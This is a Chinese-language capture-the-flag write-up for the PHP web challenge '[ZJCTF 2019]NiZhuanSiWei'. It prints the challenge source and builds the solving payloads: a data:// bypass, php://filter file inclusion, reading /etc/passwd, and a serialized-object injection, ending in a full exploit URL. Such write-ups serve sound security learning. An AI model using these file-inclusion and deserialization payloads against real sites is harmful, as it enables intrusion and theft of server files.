[ZJCTF 2019]NiZhuanSiWei
試題地址:
http://2b16299c-4fa0-4400-b0ff-7d82df33771f.node4.buuoj.cn/
-
我們打開頁面會發現這樣一段代碼
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?> -
我們先嘗試繞過第一個if判斷
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),思路:
利用data協議繞過,將welcome to the zjctf字符讀入
data://協議允許讀入
參考鏈接:
file_get_contents:https://www.runoob.com/php/func-filesystem-file-get-contents.html
data協議:https://www.cnblogs.com/hustskyking/p/data-uri.html
我們構造payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后我們嘗試繞過第二個if:
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
file引數我們可控,但是我們不能直接讀取flag檔案,我們嘗試讀取useless.php
我們可以直接讀取/etc/passwd檔案,file=/etc/passwd.
但是針對php檔案需要進行base64編碼,否則讀取不到內容,所以無法使用file=useless.php
所以我們構造payload:
file=php://filter/read=convert.base64-encode/resource=useless.php
進去之后我們會看見一個頁面,這里面有一段base64密文,拿去解密得到一段代碼:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
這里file我們可以控制,我們將falg.php賦值給$file變數
public $file; 改為 public $file="flag.php";
我們接下來嘗試第三個繞過:
include($file); //useless.php
$password = unserialize($password);
echo $password;
我們可以將上面useless.php里面的改過的代碼序列化傳給password變數:

序列化結果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后構造payload:
http://2b16299c-4fa0-4400-b0ff-7d82df33771f.node4.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后查看源代碼發現flag:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/288981.html
標籤:其他
